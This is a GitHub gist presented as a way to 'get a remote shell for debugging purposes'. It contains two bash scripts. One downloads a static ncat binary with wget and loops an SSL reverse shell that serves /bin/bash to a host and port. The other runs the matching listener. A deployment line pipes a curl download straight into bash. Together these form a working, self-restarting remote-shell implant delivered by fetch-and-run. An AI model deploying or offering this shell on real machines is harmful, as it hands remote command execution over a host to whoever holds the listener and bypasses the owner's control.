Created
March 25, 2024 17:41
-
-
Save kmille/b0e788f6b6348f040fd2b2126a303690 to your computer and use it in GitHub Desktop.
Get a remote shell for debugging purposes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
NCAT_URL="https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat" | |
NCAT_FILE="$(pwd)/ncat" | |
HOST="localhost" | |
PORT="8443" | |
install_ncat() { | |
wget $NCAT_URL -O "$NCAT_FILE" | |
chmod 755 "$NCAT_FILE" | |
} | |
run_shell() { | |
while true | |
do | |
"$NCAT_FILE" --ssl -vde -e /bin/bash $HOST $PORT | |
sleep 5 | |
done | |
} | |
install_ncat | |
run_shell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
NCAT_URL="https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat" | |
NCAT_FILE="$(pwd)/ncat" | |
PORT="8443" | |
install_ncat() { | |
wget $NCAT_URL -O "$NCAT_FILE" | |
chmod 755 "$NCAT_FILE" | |
} | |
run_listener() { | |
while true | |
do | |
"$NCAT_FILE" --ssl -v -l $PORT | |
sleep 5 | |
done | |
} | |
install_ncat | |
run_listener |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
How it looks like: https://asciinema.org/a/649000
Deployment:
curl TERMBIN_URL | bash